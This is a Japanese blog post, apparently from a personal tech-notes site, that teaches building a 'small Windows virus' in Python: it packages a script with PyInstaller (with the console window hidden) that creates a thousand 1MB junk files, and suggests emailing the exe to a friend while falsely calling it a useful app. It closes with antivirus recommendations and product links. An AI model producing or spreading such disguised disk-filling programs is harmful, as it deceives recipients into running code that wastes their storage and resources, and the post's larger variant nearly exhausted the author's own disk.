ハトネコエ Web がくしゅうちょう

プログラミングやサーバー・Web制作、チームマネジメントなど得た技術のまとめ

ちょっとしたWindows向けウィルスをPythonで作ろう

プログラマーはたまに「ハッカー」と呼ばれることなんてあります。
ハッカーって言葉のイメージと言えばウィルスです。

そうだ、ウィルスを作ろう!

これが今回のテーマです。

と言っても悪いことしたら捕まってしまうので、
友達にメールでexeファイルを送りつけて「便利アプリだよ!実行してみて!」と嘘ついて実行させると、「うわっ」と思われる程度のものを作ります。
(自己増殖しないので、今回の場合は正しくはコンピューターウィルスでなく マルウェア と呼ぶのが適切ですが、一般的な言葉の認知のもとウィルスと書きます)

参考にしたのはこちらのサイト : How to Make a Simple Computer Virus with Python

Pythonからexeファイルを作るには?

拡張子が .py じゃ誰もクリックしてくれません。 .exe ってなっててほしいですよね。

そのために使うのがこちら PyInstaller です!

exeファイルの実行開始が遅いとかいう悪評も見ましたが、 py2exe や cx_Freeze はうまく扱えなかった(Visual Studioをインストールするのはめんどうだった)ので最終的に PyInstaller にしました。
実際使ってみましたが、今回はファイルサイズが小さいからか、exeの実行開始が遅いとは感じませんでした。

PyInstaller を使ってみよう

Windows PowerShell で作っていきます。

Chocolatey は導入済みだとします。

nekonenene.hatenablog.com

1. Python をインストール

choco install python -y

2. PyInstaller をインストール

pip install PyInstaller

インストールできたら

pyinstaller -v

で、バージョンが表示されることを確認しましょう。

3. カンタンな Python コードの作成

てきとうな名前のフォルダを作って、そこに hello.py という名前のファイルを作って以下のように書いて保存します。

# -*- coding: utf-8 -*-
import time

print("Hello exe")
time.sleep(2)

4. PyInstaller で exeファイルを作成

hello.py を作ったフォルダーに cd コマンドで移動していったのち、
まずは

python hello.py

で、作ったPythonコードが実行可能か試します。
「Hello exe」と表示されたら成功です。

次に PyInstaller で exeファイルにしましょう。
-F のオプションは、exeファイル単体を出力するためのオプションです)

pyinstaller -F hello.py

つらつらと文字が流れたのち「completed successfully.」の文字が最後に見えたら成功です。

フォルダー内に「dist」という名前のフォルダーが作られて、そこに「hello.exe」が出来上がっているはずです。
ダブルクリックで実行しましょう。
「Hello exe」と表示され、2秒経つと自動で終了します。

ファイルを作成するPythonコードを書こう

「Hello exe」と表示するだけでは物足りません。
ウィルスといえばやっぱりファイル操作。

といっても削除や拡張子の変更は本当に迷惑すぎるので、今回は大量のファイル作成ということにしておきましょう。

thousand_dreams.py という名前のファイルを作成し、以下のように書き込みます。

# -*- coding: utf-8 -*-
for num in range(1000):
    f = open("X%06dX" % num, "w")
    f.truncate(1024 * 1024) # 1MB
    f.close

PyInstaller で exeファイルにします。
(今度は -w オプションを加えています。これはexeファイル実行時にコンソールウィンドウを表示させないためのオプションです)

pyinstaller -F -w thousand_dreams.py

dist フォルダに thousand_dreams.exe が作られたと思います。
これをダブルクリックするだけで、1MBのファイルが1000個作られます!
けっこう迷惑です。

ちなみに、もとは1000個でなく1000000個(100万個)のファイルを作成するプログラムだったのですが、
実行したらストレージは切羽詰まってくるし(なにしろ100GBぶん作られるので)
どんどんCPU使用率は上がってくるしで、あわててタスクマネージャーからストップしました。

このように、 数行のプログラムでカンタンに友達を減らすようなアプリが作成できてしまいます!

なんてプログラミングはおそろしいんだ・・・。

プログラミングとウィルスの関係に興味を持ったら、
以前流行ったランサムウェアの学習用の実装なんかもGitHubで読めますので、ウィルスへの理解を深めると良いでしょう。

github.com

コンピューターを守るには、敵を知らなければならないのです。

セキュリティソフトをインストールしない人が世の中にはいますが、ウィルスは簡単に作られ世界にばらまかれます。
しっかりセキュリティソフトをインストールして、最低限の防衛をおこないたいところです。たった1日10円以下です。安いもんです。

私はカスペルスキーとESETを使ってます。
カスペルスキー、セキュリティ性能は高いんだけどファイアーウォールが頑張りすぎててバリバリパソコン使うような人だと引っかかることが多い。
カスペルスキーの方が優秀だけどESETくらいゆるくても充分なんじゃないか、と思ったりもします。
あとは最近海外で評価を得ている BitDefender がちょっと気になってる。

カスペルスキー セキュリティ 2017 3年5台版

カスペルスキー セキュリティ 2017 3年5台版